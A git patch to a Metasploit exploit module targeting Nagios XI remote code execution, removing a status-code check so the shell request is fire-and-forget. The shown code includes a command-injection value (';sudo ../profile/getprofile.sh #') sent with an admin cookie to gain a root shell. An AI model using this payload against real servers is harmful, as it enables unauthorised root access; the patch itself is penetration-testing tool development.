From 68bd4e23756eeee6d20df38e36a090ab2706997c Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 29 Jun 2016 14:44:26 -0500 Subject: [PATCH] Fire and forget the shell Edge case where reverse_perl returns 302 when app is unconfigured. --- modules/exploits/linux/http/nagios_xi_chained_rce.rb | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/modules/exploits/linux/http/nagios_xi_chained_rce.rb b/modules/exploits/linux/http/nagios_xi_chained_rce.rb index b71999eac8..db52cb6b27 100644 --- a/modules/exploits/linux/http/nagios_xi_chained_rce.rb +++ b/modules/exploits/linux/http/nagios_xi_chained_rce.rb @@ -212,7 +212,7 @@ class MetasploitModule < Msf::Exploit::Remote end def pop_dat_shell - res = send_request_cgi( + send_request_cgi( 'method' => 'GET', 'uri' => '/nagiosxi/includes/components/perfdata/graphApi.php', 'cookie' => @admin_cookie, @@ -221,10 +221,6 @@ class MetasploitModule < Msf::Exploit::Remote 'end' => ';sudo ../profile/getprofile.sh #' } ) - - if res && res.code != 200 - fail_with(Failure::PayloadFailed, 'Failed to execute root shell! punt!') - end end #